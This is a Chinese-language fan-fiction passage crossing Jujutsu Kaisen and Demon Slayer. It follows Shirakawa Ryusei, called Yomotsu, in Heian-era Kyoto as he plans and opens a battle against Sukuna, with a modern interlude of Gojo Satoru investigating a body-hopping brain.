妖物不是家畜,不能拴在马后就这麽进京,或许是用什麽方法收伏了,风雪中眯起眼睛的菅原行平如此想着。他是咒术师,平日里修行三天打鱼两天晒网,对什麽都一知半解。以前有觉大人在前面顶着,没人乐意管他,自从觉大人去世后,菅原家把他当做下代继承人培养,于是接连不断的训练,到处拜访权贵家族联系感情,这些东西全都被迫学起来了。 年仅十七岁的行平,目光搜索着那个和他差不多大 ,却被尊称为“神”的家夥。 白川琉世和天使缀在后面,少女戴着斗笠,点点落雪飘在长长的鸦发上。少年穿着同款白色狩衣,没带帽子,黑色的短发留长了些,发尾不时扫在肩膀上。 狂风中,少年的眼睛微微眯起,他背脊挺直,仪态威严,却总透出股厌倦,一副满不在乎的样子。 菅原行平在人群中查找白川琉世时,对方的眼神也迅速锚定他了。 “喂。” 马在菅原行平不到一米的地方停下。 白川琉世至上而下俯视他,“你也穿太少了吧,病了怎麽办?” 菅原行平:? 不是,他们很熟吗? 干吗特意在大街上说这种话,还是单单对他说。 虽然见过几次面,但他俩没有正式互相介绍过。第一次见面,黄泉津在觉大人的吊唁仪式上失态,让他很生气,尽管好奇黄泉津和觉大人是怎麽认识的,但赌气似的没有去搭话。 后面几次,是他听门房说,那个疯疯癫癫的少年又来家里大门附近晃悠了。菅原行平听到,每次都匆匆赶到门口,在门里悄悄观察那人。 失魂落魄,举止粗鲁,丝毫没有可取之处,和觉大人相比,那简直是腐草之萤光,怎及天心之皓月。 “不好意思,你是……?”他故意把嘴一撇,扭头看向别处。 一旁的藤原朝若忍俊不禁。 “黄泉津。” 金瞳少年只是平淡地回答他,半点没有对别人情绪的反应,好像……,菅原行平琢磨了一下,好像有些缺乏人类情感的意思。 是这样吗,所以说是神。菅原行平听说过他的丰功伟绩,每次跟随安倍家的捉妖队出去,都能猎杀为恶一方的大妖怪,而且都是一刀毙命,很受众人称赞。 晴明公在世时,那麽声名显赫,也没有被推上神明的位置。眼前的少年,给人一种强烈的疏离感,这就是大家认同他自称为神的原因吧。 不过两三个月,怎麽变了那麽多呢? “我是,呃,菅原行平。”莫名紧张起来了。 “把你们家讨伐宿傩的人召回吧,没什麽用,让他们少出门。”少年声音平淡,既像挂心的叮嘱,又有些命令的意味。菅原家从家主死后,没少出门讨伐宿傩,已经死了好多优秀的人才了。? 菅原行平感到不解,又有种被人指手画脚的愤怒。 “我们菅原家还沦落不到让一个外人插手。” 对面的人嘴角勾起一个似有若无的弧度,像看闹脾气的小孩,一点也没生气的意思。“最好是这样,别最后让宿傩把老家打没了。” 菅原行平的火气因为这极致的侮辱窜得老高。他刚要跳起来,就被藤原朝若按了下去,友人左右逢源,一边低头对他说好好好,别失态大家都看着呢,一边抬头没事人似的问马上的人,要不要再加固一下封印。 藤原朝若的结界术,在整个京都的阴阳师中也是拔尖的了,但在白川琉世身上所下的封印,依旧需要时时加固才行。 “好。”白川琉世点头,“谢谢,乙骨。” 就算藤原朝若脾气很好,也要生气了。 “我的名字是藤原朝若,不是乙骨。” 他想起第一次见面时,明明自己说了名字,黄泉津却脱口而出,叫他“乙骨忧太”。 就算他可能与黄泉津的故人相似,但叫错两次总不应该吧。 “抱歉,藤原,我忘记了。” 这也不能怪他。白川琉世看着那张与“乙骨忧太”一模一样的脸,以及雪一样纯白的灵魂。 一旁的菅原行平,灵魂是淡淡的青色,有着和雪相似的白色头发,这在菅原家也是少见的。 菅原家的众人多是棕发或灰发,白发相当稀少。如果菅原行平正好是悟的祖先那一系的该怎麽办?如果因为他的到来,改变了过去,悟不能出生在这个世界上,该怎麽办? 尽管知道那样的可能性微乎其微,但还是令白川琉世心焦如焚。 菅原行平不能死,不管是被杀死,还是其他无聊的死因,所有菅原家的人最好也都没事。 安倍家的队伍早就走远,七八个小小的白点融化在道路尽头的雪地里,只有天使在不远处等他。白川琉世与两人告别,与天使并肩离开。 天使是他的恩人,这点毋庸置疑,在找到回到现世的头绪之前,留在安倍家效力一段时间,也是人之常情。 他开了斑纹,这种东西,除了天生斑纹的继国缘一活到老死,其他人开了都活不过25岁。但他是神明,白川琉世打心底里不信自己能被斑纹给克死。 斩击羂索时,同时习得了通透世界,那算作使用呼吸法的最高境界,能透视生物体内的一切结构,再加上透视灵魂的瞳力,一切事物在他面前都没有秘密。 目前能构建的领域,属于不完全角态的黄泉津比良坂,尽管如此,体察情绪,基本结界术和对灵魂特攻的能力,也随着他对力量的熟练,不用构建领域也能使用了。 相比于咒术师们固定的术式,他的能力能通过体悟变得更强,束缚更少。比如,他的反转术式不仅可以自由反转负级咒力,还能反转诅咒,这点已经证实过了,或许以后还能反转乱七八糟的东西也说不定。 马蹄踩在逐渐变厚的积雪上,天使呼出一口雾气,伸出手指让安倍家传递消息的式神落在上面。 几秒后,天使眉头一皱,愤怒地掀开斗笠,看向同伴,“黄泉津,有宿傩的下落了。” 处决“堕天”的宿傩,是她必须完成的使命。尽管想自己杀了宿傩,但谁也不会放着强大的助力白白不用。 “你没问题吧,黄泉津?” “当然。一次杀不了,就杀第二次,第三次。”白川琉世许久没有情绪的眼睛,翻滚着怒意,“我一定要把他砍成两半,就从腰部这个位置下刀。” 说的太对了。天使从没听过此等悦耳之言。 “我就知道救你没错。” 话是这麽说,但黄泉津执着于腰斩宿傩,是为了菅原觉大人吧? 少女看向同伴的眼神带上了怜悯和惋惜。 真是情深义重,但…… 黄泉津,何以至此,何以至此呐。 “你那是什麽看弱者的眼神?还是先担心担心自己吧。”白川琉世的悦耳之言只维持了一句,“你的术式是令一切术式无效化,好用是好用,但只能算辅助,你还有其他战斗方式吗?拳脚不行,武器也马马虎虎,你这样拿什麽打宿傩?” 天使:…… 打宿傩纯度比她还高的人诞生了。 第38章 (大修) “白川”的宿舍 水塘的边缘被浸的幽寒、发绿,一只幼小白皙的手,伸出食指,犹豫要不要点一下波澜不惊的水面。 微风吹过,潭水荡起浅浅的涟漪,一圈圈漾开。马上会有花瓣落进去了,这麽想着,手的主人划了下水面,落樱随风落入水塘,又马上被细小的涡流卷入水面以下。 身后那个高大男人的倒影,也被荡散成一团难以辨认的光影。 五条悟对此并不关心。 他捏出水面下的花瓣,放在眼前仔细看了看,花瓣的纹理、缓缓流下的不规则水渍,在六眼的注视下纤毫毕现。看够了后,小手一挥,又把花瓣扔回水塘。 身后的男人笑了,五条悟虽然没看到也没听到,但无端这麽觉得。他转身仰头,匆匆一瞥,像躲避刺目的太阳一般,错开男人熔金般的眼睛。 他是笑了吧,为什麽呢?嘲笑他吗? 五条悟有些不快,踏着木屐跑去了庭院的另一边。好不容易侍女出去了一会,他要看看树上那只衔枝做窝的鸟怎麽样了。 站在树下盯着树枝发呆的时候,脊背不由地绷直了,幼小的孩子对视线很敏感,那个男人还在看他,而且依旧在笑吧,这是为什麽呢? 因为功课没做完,神明大人不高兴了,来惩罚他的?想起侍女说的话,每次都觉得对方胡说八道的五条悟沉默了。 他闭上眼睛,双手合十,心中默念。 [既然保佑我的话,就保佑我不要做不喜欢的事好了。] …… “五条老师,五条老师……?” 从舒服的椅子上伸了个懒腰,五条悟准确地把手搭在了来人的肩上,“是忧太啊,特意来找五条老师,是要请老师吃午饭吗?” 乙骨忧太看着自己肩上,隔着一层薄薄无下限的老师的手,犹豫了一下,“好、好啊,但是但在已经是3点钟了,五条老师还没吃午饭吗?” 诶?睡了这麽久吗?难得没有任何事打扰的奢侈偷懒时间。 知道学生在等自己回话,五条悟从抽屉里摸出一个棒棒糖,撕开包装塞进嘴里,“没有,老师刚刚饿晕了,如果不是忧太正好过来,老师就危险啦。” “真的吗?老师在开玩笑吧?” “诶?竟然这麽认真向老师确认。”五条悟换了个依旧闲散的姿势,双腿交叠,“是真的哦,还好梦里吃到了超美味的蛋糕。”依旧逗弄着性格老实的学生,“怎麽样,忧太,适应高专的生活了吗?” 短发的少年穿着特制的白色校服,眼下一片浓重的色素沉淀,看起来精神欠佳。乙骨忧太抬着一双圆润的杏眼,局促地微笑,“还、还好,大家看起来都很友善。” 那就是还没适应了。忧太刚入学没多久,也不着急。五条悟看着学生手里的任务报告,自然地接过去。 桌上的手机屏忽然一亮,同时传来line的提示音。乙骨忧太不想偷窥别人的隐私,但是眼睛下意识就看过去了,即时通知栏的消息发送者,名字是宇宙无敌超级大笨蛋极恶诅咒师。 乙骨马上把眼睛移开,虽然这名字长到即时通知栏根本显示不出对方发了什麽。 “忧太,老师忽然有点急事。”五条悟拿起手机,语气少见地严肃起来。敏感的乙骨很熟悉气氛的变化,在五条悟开口的瞬间就准备离开。 “我也差不多该去上课了。”他转身,踌躇了一下,“如果累的话就好好休息一下吧,五条老师。” “知道了。”五条悟露出大大的笑容,“诶?还是自己出门捡的学生更会关心人,对吧忧太?” 乙骨忧太哪里好意思回答,脸上带着红晕,匆忙告辞离开了。 走之前,视线总是忍不住瞥过墙边的置物架。 上面放着一个小小的神龛,大概一尺多长,纯黑色的神体,四角高高翘起。乙骨每次进来,都看到神龛前摆着一些东西,有时候是点心水果,有时候是酒或者糖果,大概是供奉的东西吧。 这是什麽神呢?性格太过谨慎内向的乙骨,在初到新环境时,不敢问别人太过隐私的问题。 要不要去网上搜一下? 他关上五条悟办公室的门,把关键词打在搜索栏里,慢悠悠前往自己的宿舍。刚刚说自己有课只是离开的托词,事实上他今天的课已经上完了。 宿舍在三楼,等乙骨爬完楼梯,也没搜到什麽有用的,他进入长长的走廊,前两个是空房间,第三个外面挂着“白川”这个姓氏的牌子,从第四个开始,依次是熊猫,狗卷,和他的房间。 第一天搬进来时,他还以为有个姓白川的同学呢,还是熊猫告诉他,那是很久以前一个高专学生的,具体让他不要问,更不要当面问五条老师。 总觉得有什麽秘密,房间里面会有怪物吗? 真是一个充满秘密的奇怪学校。 …… [宇宙无敌超级大笨蛋极恶诅咒师: 火山头咒灵有线索了,另外,香织与另一新生特级咒灵真人交往过密。 附件1:漏瑚 附件2:真人] 五条悟下载附件,同时回过去一堆垃圾话,与往常一样的是,某诅咒师根本不回他。 十年来,已经混成盘星教代理教主的夏油杰,只有交换缝合线情报的时候才会回消息,其他时候任凭五条悟说什麽,他都当做没看见。 话说那个真人怎麽也有缝合线啊,这是什麽时尚单品吗?五条悟看着附件2中密密麻麻的信息,对缝合线这个词快要ptsd了。 他把两个咒灵的信息留存,并整理了一份纸质版。咒灵无法被拍下,他凭借想象,在旁边画了两个咒灵的简笔画。 十年前,因为香织的忽然隐匿,缝合线事件的调查进度很快就停滞不前。不过,最近那个女人开始重新活动,如果不是通过夏油杰,五条悟压根得不到这点消息。 本来还以为她是觉得自己暴露,抛弃这个身体了呢,或者说,抛弃了十年,又因为某种原因启用了这个身体? 疑点太多了,想不明白。而且,还这麽和杰不清不楚地联系着,香织怕不是真的把杰当成同伴了吧? 杰那家夥,把香织哄的很成功嘛。不,或许恰恰相反,与他交流信息可能只是出于对琉世的愧疚,杰真正的想法反而和如今的盘星教是一路的。 五条悟打了个哈欠,翻开多年来整理的数据。如果一直睡三个小时还好,意外补了会觉,身体反而不知足似的有些疲惫了。 已知那个女人之前结过婚,丈夫姓虎杖,已经去世了,留下一个儿子和年迈的公公。令五条悟惊讶的是,经过调查,虎杖香织是在额头上有缝合线后,才生下儿子的。 这种人肯定不会随便生孩子,特别是谋划一个跨时这麽长的阴谋时。很难不让人怀疑,那个孩子也是计划的一部分。 虎杖悠仁至此被五条悟纳入特别观察范围。那确实是个奇怪的孩子,体质格外好,好到不像人类,但经过多年的观察,也没发现其他特别的情况。而且他的缝合线母亲,也一直没去见过自己的儿子。 白川琉世刚失踪时,五条悟曾与禅院直哉交涉过,要琉世在禅院家的情报,意外的是,难缠的禅院直哉并没有多加阻挠,直接开了一亿日元的价,答应把自己知道的情报卖给他。后来,那个疑似脑子进水的禅院家嫡子还附带了“禅院隆”死时的情报,并追加了五千万日元。 因为担心自己遗漏重要情报,五条悟干脆地花钱把情报全买了。 如五条悟所料,禅院隆和三井的尸体都没有大脑。 从杰那得知,缝合线使用三井的身体时,能使用三井的“超远距离发送”术式,而且在危急时刻只传走了身体里的大脑。 加上三井、禅院隆额头上的缝合线,以及虎杖香织总是戴帽子的行为……那个缝合线,本体就是一块大脑吧! 还是寄生在谁身上,就能使用谁的术式的危险大脑。 所以说,那块脑子到底想做什麽? 杰曾说琉世是缝合线计划的一部分,以及在琉世身上刻下两个诅咒,第一个诅咒是抑制“神”的能力的觉醒,第二个是不断地提取琉世的咒力,这也是禅院直哉提供的,琉世小时候出意外的那次。 这代表缝合线知道琉世作为黄泉津的身份和能力觉醒的方式,并且计划的一部分是提取“无穷无尽的咒力”。 五条悟没有太奇怪缝合线为什麽知道琉世的事,如果他能不停地更换身体,那活了很久也不奇怪,或许像天元那样活过了千年也说不定。 千年的时间想想就觉得不可逾越,但倘若真的有人能从两点间系上一条细细的线,再荒谬的猜测也能落上些实感吧? 他嚼碎糖果咽下,又剥开一颗新的棒棒糖,是吃了十年的牌子,清新的柠檬味在舌尖蔓延开来。 缝合线操作的“神社事件”是针对琉世的,但杰那次任务却并非如此,从总务把他和琉世的任务调换给杰,到总务的失踪,表明那是缝合线精心安排针对杰的任务。不过,琉世的闯入出乎对方的意料,也是那次,让一直藏于幕后的缝合线狠狠栽了个跟头。 再也不敢出现,是因为暴露了,害怕他吗? 杰也是缝合线的目标之一,是因为什麽?唯一能想到的,就是杀死杰,占据他的身体,把咒灵操术据为己有。 为什麽想要咒灵操术?是想操控什麽吗?杰的术式只能操控咒灵,有什麽咒灵能让人布局到这种地步? 如果想得到杰的身体,在杰已经归顺盘星教的时候,为什麽不对杰下手?而是完全消失了十年?是打不过?还是对杰产生了真实的同伴情?不,或许是别的原因。 重点应该在缝合线不得不隐藏起来的原因上。 五条悟梳理着已知的情报,每次推理到这,总觉得缺了一些信息,令猜测再也无法顺利进行下去。他打开窗户,天已经暗了,又是一个炎热的夏天,咒术界的夏忙期也要开始了。 第39章 (大修) 清凉殿内 清凉殿内。 菅原行平第一次前往宫中觐见主上,或许是因为菅原家继承人的身份,又或许是沾了黄泉津的光。 他跪坐在北向的地板上,斜对面就是坐在叠席首位的黄泉津。宽大的殿内,坐了两排阴阳道和咒术界的家主们,以及大寺庙、大神社的话事人。 主上坐在御帐台内,菅原行平根本没办法抬头看过去,只在刚才隐约看到一团色彩明艳的人影。 也只有上面有颜色而已,底下一片素色,空气中裹挟着淡淡肃杀之气。 这次议事来者不善,当然不是指主上,说得大不敬一点,当今是个软弱到极点的人。约莫一年前,黄泉津在与天使讨伐宿傩时,掌握了神迹般的空间系能力。他陆续在众多咒术师、阴阳师们背后拍下刻印,凭借这个能快速穿梭空间,查找宿傩。 被刻印下的人遭遇生命危险,在绝望下,不得不本能地祈求神明时,手持赫刀的黄泉津都会变成阻挡他们与危险的神迹。 没过多久,一开始羞愤的咒术师们就一改口风,称赞起了黄泉津的强大与痴情。然而黄泉津不为所动,一年里不知道与宿傩交手了多少次,或许神也注定会遇到与之匹敌的对手,两个人谁也没能杀了谁。 宿傩在黄泉津的穷追不舍下,用更残暴的恶行回应,快速流窜在各地,残杀民众,烹饪年轻的女性和小孩,这种情况愈演愈烈,最终,黄泉津也不得不暂时停止讨伐宿傩。 如此一来,宿傩也消停了起来,竟有一月没有犯下任何罪行。 就像丈夫一周没打妻子,妻子就觉得可以继续过下去那样荒谬,主上对两个神魔的消停感到满足,把两人全都奉为神明,甚至决定在新尝祭上让众人公开祭拜宿傩。 这智熄的操作让年仅18岁的菅原行平感到绝望。 那种邪恶的诅咒师不会因为别人的退让而停止恶行的,还是说主上根本不在乎普通民众的性命。 而且,怎麽会有人想在黄泉津和宿傩之间试图端水啊,主上你端的明白吗?那两个人可是每次都打的裤衩子要冒烟了。万一黄泉津把你杀了怎麽办?难道指望他这样的人护驾吗? 此事一出,黄泉津还没表示什麽,菅原家的家主就坐不住了。接下来的事,菅原行平还没资格参与,他只感觉京都的社交圈乱了几天,家主出门拜访的频率变频繁了很多。 没过多久,主上最疼爱的长子邪祟缠身,生命垂危,阴阳师和僧人们彻夜做法、祈福,才救回大殿下的性命,追溯原因,哪方都直指宿傩,目的之直白,别说主上,就连行平自己都怀疑起了整件事的起因。 但也没办法,宿傩残杀了太多人,血海深仇下,对宿傩的退让是所有人都不允许的。这件事只是个引子,大家都心知肚明。 菅原行平也只能作为来者不善中的一员,沉默地低着头,听着主上调解的话。 “黄泉津御命是怎麽看的呢?” 那人虽然坐在下首,但却是普天之下唯一一个被天皇使用尊称的人。菅原行平为自己称呼对方从来不加“御命”感到脸部发烫,仔细等待黄泉津的回复。 …… …… 殿内针落可闻,只有主上衣袖轻微的摩擦声,黄泉津什麽也没说,行平努力用余光看过去,穿着白色狩衣的身型也一动不动。 怎麽回事?不回答主上的问题可不行啊! 时间越待越久,行平随着殿上其他人的目光向对面首座看去。 那人手肘支在桌面上,上半身微微倾斜,闭着眼睛,原来是撑着颧骨睡着了。 少年……或许可以称之为青年了,脸部轮廓加深了一些,褪去了最后一点属于少年的青涩,头发也长了一掌左右,随意地散着,覆在线条淩厉的脸侧。 嘴角勾起来了,是在笑吧?黄泉津总是冷漠的脸,如今正盈着温暖的笑意。真是稀奇,梦到了什麽?众人互相交换眼神,一时竟没人叫醒他。 黄泉津好像变了很多,菅原行平在众人的沉默中大脑恍惚。 这一年来,因为对菅原家的格外保护,他和黄泉津以及天使都算是混熟了,特别是最近,菅原家还特意邀请黄泉津住在了自己宅邸。 随着讨伐宿傩的次数增加,黄泉津的实力也越来越强。虽然每次那人都会说一些气人的话或者冷笑话,但行平总觉得他离大家越来越远了。就好像……,那些插科打诨全都是为了维持和他们表面上的关系。 实际上黄泉津越来越不在意他们了吧。 也是,能成为那种强者的话,怎麽还能依旧和他们做朋友呢? “咳。” 一旁的菅原家主假装咳嗽了一声,在几十双眼睛的注视下,那双融金的双眸睁开了,下一秒,脸上的笑容也消失的干干净净。 “主上在问你……”菅原家主也顾不得殿前失仪,匆匆把情况说明,“是否赞同以新尝祭为饵,埋伏宿傩的做法。” “赞同。”言简意赅。 菅原行平长舒一口气,他就说嘛,拿这种事问黄泉津简直多此一举。 事已至此,议事也没继续的必要了,天皇明知大局已定,总是忍不住担忧,在平安京开战,这怎麽能行呢? 黄泉津却格外好心地安慰道,“这次是宿傩的死期,我保证。” 说完他率先起身离席,途经由两排人围成的走廊,走出清凉殿正门。现在是十月底,不久之后京都会迎来一场大火,烧了小半个平安京,宿傩也会在那时被他杀死,这是流传于后世咒术界的版本。 在和宿傩的不停战斗中,他极为迅速地解开自身的限制,同时,宿傩也在飞速成长。白川琉世用了将近一年的时间,验证了自己无法在既定的时间前杀死宿傩。 悟告诉他的那些“还未发生的过去”无法改变。 但是,他所看到的没有自己的未来,将被他牢牢掌控在手中。 …… 菅原行平跟在家主身后走出大殿,抬眼看到黄泉津站在远处的阔地上,指间停着安倍家的式神,似乎在传递消息。 议事的人们纷纷出来,行平知道他们还想与黄泉津商议讨伐宿傩的详尽事宜,因此只是聚集在远处等待着。 “喂,行平。一会,你前去邀请黄泉津御命吧。” 年轻的禅院家主禅院幸,约莫二十出头,有着禅院家经典的黑发和一双细长上挑的眼睛,对菅原行平使了个颜色。 那边对着式神说话的神明,全身的咒力近乎凝成实体,远远一瞥就令人胆寒,恐怕真如传闻中的那样,拥有无穷无尽的咒力吧? “你不会自己去吗?”菅原行平呛了他一句,却并没有打算真的拒绝他,幸是他从小相熟的好友,吵吵闹闹也习惯了。 “不要啊,感觉好恐怖,而且,就算你打扰了他,他也不会生你的气。”禅院幸笑嘻嘻地开玩笑。 不仅是禅院幸,在场的所有人都是这麽默认的。毕竟黄泉津除了和救命恩人天使、藤原朝若熟悉,就只对菅原家有格外的保护欲,其中最明显的就是菅原行平。 禅院幸把眼神落在友人银白色的头发上,那是和觉同色的顺滑长发。菅原家天生白发的人特别少,除了年过半百的家主,和几个更年长的老者,现在就只有行平一个人拥有了,也对,毕竟和觉拥有同一个曾祖父嘛。 哎,真可惜啊,那可是几百年才出一个的六眼。 说起来,行平和觉的身高相仿,脸也有四五分相似,只是性格实在不同,毛毛躁躁,而且天资比起觉差太多了。 不过,哪怕只有这些,也足够黄泉津偏爱十分了。 “好吧,我去。但是他不是不会生我的气,凶我的时候你没看到罢了。” 只是这种说法在别人耳里也成了十足的得了便宜还卖乖。 有次行平外出祓除咒灵时,不小心遇到宿傩,还好诅咒之王对他产生了一些兴趣,没有直接杀死他,而是从四肢开始肢解……可能是过快的心跳和过于恐惧的情绪通过刻印传达到了黄泉津那,那人把他救走,并毫不留情地训斥了他一顿。 哎,从没见过黄泉津那麽激动的样子,从那之后,他也有些害怕那人了。 菅原行平走到那边,结结巴巴地叫了声,“黄泉津……御命。” 对方忽然扬起的眉,以及眼中淡淡的无语,让行平感觉自己像说了什麽傻话。 “你叫我什麽?” “黄泉津。”菅原行平马上改口。 “走吧。” “啊?去哪?” “你们不是找我有事吗?”白川琉世向远处等待的众人投去眼神,“战前预备动员会?” “啊,是,我们得快点走了。主上已经先回去了,我们不能在宫里逗留太久。” “这麽不在状态内,我看打宿傩你就不要上了,去了也是送。” “啊?你看不起谁呢?禅院幸那家夥都豁出性命了,我不上岂不是让人耻笑。” 两人吵着向众人的方向走去,菅原行平忽然听到黄泉津轻轻叹了口气,他疑惑地看过去,“怎麽了?没信心吗?” “那倒不是,只是觉得现在的情形有点荒唐。” 而且忽然又想起被迫塞进脑子里的垃圾了。 那个叫日下部笃也男人的表情,和我打宿傩什麽的…… 白川琉世拳头硬了。 “诶诶诶?现在没有宿傩,不要乱放杀气啊,这是在宫里!” “啊。” …… [不过,以后你就不用面对这些了吧,悟。] 第40章 善恶的指针 菅原行平想参战是绝对不可能的。 清凉殿议事后的小型会议中,白川琉世敲定了作战计划,事实上,不仅是他,除了禅院幸,没人被允许站在战局中心300米范围内。 菅原行平把手按在急促跳动的心脏位置,和天使站在树上,遥望不远处的东寺五重塔。 新尝祭前夜,正如黄泉津所说的那样,宿傩竟然真的前往平安京住下了。 他竟然真的打算公开接受祭拜。 此时已是秋冬交界的季节,两人穿着简便,打起十二万分的精神。天使的指间不停飞过传递消息的式神,看到菅原行平在发呆,抬脚踢了一下他。 “行平,一会可千万别发呆了!” “怎麽可能!我可不想死。” “最好是那样,藤原大人交代过我,要我嘱咐你千万别逞强,保命要紧。”她掏出两根发绳,递给行平一根,扎紧自己的头发,“你也扎上,万事小心,宿傩主要靠黄泉津,我们起不了什麽作用,万一你死了,影响黄泉津的心态就不好了。” “……真是谢谢啊,我还以为你真的在关心我呢。” “就不能都有吗?” “你怎麽也相信那些流言,黄泉津对觉大人痴心一片,明眼人都能看得出来吧。” “哈,你不会以为我觉得黄泉津移情别恋了吧?别开玩笑了!但你好歹也是觉大人的家人,他看重你不奇怪啦。” 两人嘁嘁喳喳地吵着,夜幕四合,附近街道的府邸渐渐亮起了灯笼,树下偶尔有路过的行人,是和平常没什麽区别的普通一天。 真是一步险棋啊,天使紧紧攥住了衣袖。 …… 亥时。 今晚的夜格外黑,不见星月,仿佛蒙着不详的污秽,只有星罗棋布的街道有淡灯摇曳。 首先是平安京的最高建筑——东寺五重塔附近传来坍塌声。 房屋倒塌的声音在寂静的夜晚简直是平地惊雷,几乎是瞬间,一道黑色的锁链把什麽东西高高抛起。 白川琉世拉紧锁链,把宿傩从客店房顶甩出,瞬间加大到极致的咒力 ,把宿傩的四只手臂,包括每一根手指紧紧捆住,脸上和肚子上的两张嘴也一并塞住。 三秒内,保证宿傩不能展开领域。 那股庞大的咒力已经不需要找人帮忙封印了,白川琉世每天打开一点限制,不停地试探自己的最高承受范围,如今只需要封印住一点儿流向身体的咒力信道。 现在的他,已经算是一个恐怖的咒力凝结体,能瞬间释放出近乎无穷无尽的咒力。 轰—— 宿傩直直砸在五重塔的塔顶。 巨响拉响了战局的警报,街道中燃起了簇簇火光,早就准备好的战斗人员匆匆离开待命的位置。 战斗一开始的瞬间,是他们能发挥最大作用的时候,不是参与战斗,而是疏散群众。 因为不想事先打草惊蛇,也不知道宿傩会在哪儿落脚,群众也就没有被疏散。黄泉津承诺能争取三秒的时间,在这之后,宿傩一定会展开领域。 诅咒之王在闹市遇袭,不会放过展开领域把一切切成碎片的机会。 在宿傩来到客店之后,情报人员已经计算出整个东寺范围300米内的常驻人口情况,包括路过行人的流量。 在发出巨响的一瞬间,三秒的时间内—— 几十名身法见长,或术式为移动的战斗人员,纷纷把自己负责局域的民众或抗或拖,不管东西南北,势必要把他们带离战争的漩涡!与此同时,距离远一些的民众也被纷纷叫出家门,被要求不管多远,无限制地撤离这里。 无数人四散奔逃,加茂家的继承人宪纪抱着一个与家人走失的孩子,在心里紧张地计算时间,一、二……距离200米的安全距离还有两步,时间不够了! 想象中的斩击没有落下,直到奔出安全线,他才猛地回头看去。那股控制宿傩的咒力骤然加大到令所有人胆寒的程度。黄泉津御命咳出一口鲜血,把封印术重新按回自己腰间。 与此同时,他看到禅院幸不知何时也站在了塔顶。 直到宿傩挣脱锁链,坚持了一共五秒。 黄泉津大人!加茂宪纪压下心中的崇敬,一边关注着战局,一边前往安倍家的天使那,他要履行他的下一项任务,去护卫天使。 不仅是群众,所有的战斗人员也被严格勒令,不准踏入战斗地点300米内,最好撤离到千米外。宿傩的领域范围是200米,黄泉津的命令为众人预留下了100米的缓冲空间。 撤离时,加茂宪纪最后担忧地看了禅院幸一眼。这种程度的战斗,幸这次……,或许是他看到对方的最后一眼了。 …… “布瑠部……” 黑色长发,眼角上挑的青年,双手伸出,看着将要挣脱锁链的宿傩,声音颤抖。 “由良由良……” 这就是宿傩?这种眼神,这种气势,会死的,下一刻就会死!会死的会死的会死的…… 不是已经抱着必死的决心了吗?冷静下来,禅院幸,千万不能掉链子。 “八握剑异界神将魔虚罗!” 在十影法最强式神被召唤出的一瞬间,宿傩也挣脱了锁链。 四手的诅咒之王,顶着一头桀骜的短发,在夜风中舒展身体,果然如众人所料,展开了领域。 “伏魔御厨子。” 白川琉世同时构建黄泉津比良坂进行对抗,与此同时,黑色锁链缠住禅院幸,把他远远向人群的方向扔了出去。 “诶?” 青年在空中诧异地睁大眼睛,眼中视角倒转,映出背对着所有人的高大背影。 黄泉津御命…? 啊,还记挂着微不足道的他的性命吗? …… 被召唤出的巨大魔虚罗,像踩积木一样踩在东寺塔顶,瞬间被两道浓重的黑云包裹进去。 是的,计划的一部分,就是由禅院幸召唤出魔虚罗。 魔虚罗还未被禅院幸调伏,并不能按照召唤者的心意攻击目标,但白川琉世有方法让他攻击宿傩。 这主意还是禅院幸自己提出来的,说实话,挺让白川琉世肃然起敬的,不明白禅院幸这个好竹怎麽会有禅院直哉这样的歹笋。 “是黄泉津御命的领域!” “里面看不到了!” “继续撤退,不要停!” 掠阵的众人一直退到千米处才停下,眼前的两个领域都是不封闭的类型,像两片巨大的、黑压压的云,夹杂着血色,萦绕在五重塔的塔尖。 远处遥遥传来孩子的哭声,不少民众退到几千米外,恐惧又焦急地望着家的方向。 …… “没想到你有胆子选在这里打,黄泉津,这次我不得不称赞你了。”站在巨大的神龛下,宿傩两只副手拍了几下,“你也想杀几个人助助兴吧?” “死到临头就别这麽高兴了。” 白色的式神举起退魔之剑,这家夥和白川琉世千年后所见的样子一模一样,只是,带给他的压迫感已近乎没有了。 “凪。” 空中似乎有波纹划过,那片空间让人感觉无比宁静,似乎什麽猛烈的攻击都无法抵达。魔虚罗高举的剑,似乎无法对白川琉世斩下去,进而调转方向,斩向宿傩。 “啧,烦人的家夥,现在没空理你。”宿傩躲开斩击,同时扔出飞天——顶部长着一对小翅膀的纯白色短棍,曾属于东寺供奉的神物。 这就是飞天?白川琉世紧紧盯着长得像魔法杖一样的飞天,传说可以存储任何术式的特级咒具…… “你对这个感兴趣?”宿傩有些惊讶,随后满脸无聊,看着飞天上升到半空,向魔虚罗投射出耀眼的光芒。 也是,黄泉津的力量不属于咒术师,飞天存储的术式是天使的,消灭一切术式的术式,对黄泉津根本不起作用,因此他之前与黄泉津交手时,从没拿出来用过。 倒是对魔虚罗起作用,到底是咒术师召唤的式神。 魔虚罗在飞天的光芒中挣扎了几下,禅院幸冒着必死的风险,召唤出的十影法最强式神,就这麽轻飘飘消散了。 “也不是,你不是还有两个咒具吗?让我看看吧。”白川琉世假装发问,虽然三神器的作用他早就知道了,但最好不要让宿傩发现他对飞天有格外的兴趣。 宿傩嘁了一声,“你话变多了,黄泉津。” 话音刚落,充斥着空间的[解]和[捌]铺天盖地向白川琉世斩来。 “你没用的动作也变多了,宿傩。” 宿傩的领域里目前没有别人了,无差别攻击的[解],把五重塔外的一切建筑都碾为齑粉。白川琉世把咒力封印再次解开,源源不断地灌注进黄泉津比良坂中,掺杂了绝对咒力的“领域”,使两个领域之间交叠的空间完全为白川琉世掌控。 这是在不断的交手后,白川琉世试出来的应对之策。 能维持……三秒钟!在那之后,身体就会因为过多咒力的冲击崩溃,但是三秒后,经过反转术式的治疗,就又能填充咒力,可以做到每隔一秒就维持三秒的“无尽咒力”形态。 能完全掌控空间的时间里,他把所有斩向自己的[捌]调转方向,还给宿傩。同时,瞬间移动到宿傩的面前。 日之呼吸·十三之型—— 三秒钟。 一…… 青年压低身形,双手正握刀柄,赫刀附着灼热的气浪,瞬间齐发日之呼吸前十二式。 相同的招式,黄泉津老是用这招做开场白,但宿傩从来不会掉以轻心。天生为战斗而生的躯体,令宿傩在极度危险的情况下,也能维持平稳的心跳和冷静的思维。 二…… 宿傩用更多的[捌]和[解]对抗自己被还回来的攻击,真正令人值得在意的,是对方那邪门的刀法。瞬发出十二式斩向敌人致命点的神之一击,黄泉津那家夥,果然能称得上是神啊! 左边两只手臂主动撞击上灼热的刀刃,骨肉削离间,发出烧焦的气味,宿傩以两只左臂被砍掉为代价,用[解]同样斩下白川琉世的左臂。 三! 白川琉世退回自己的领域中心,和宿傩不约而同一起用反转术式治疗身体。 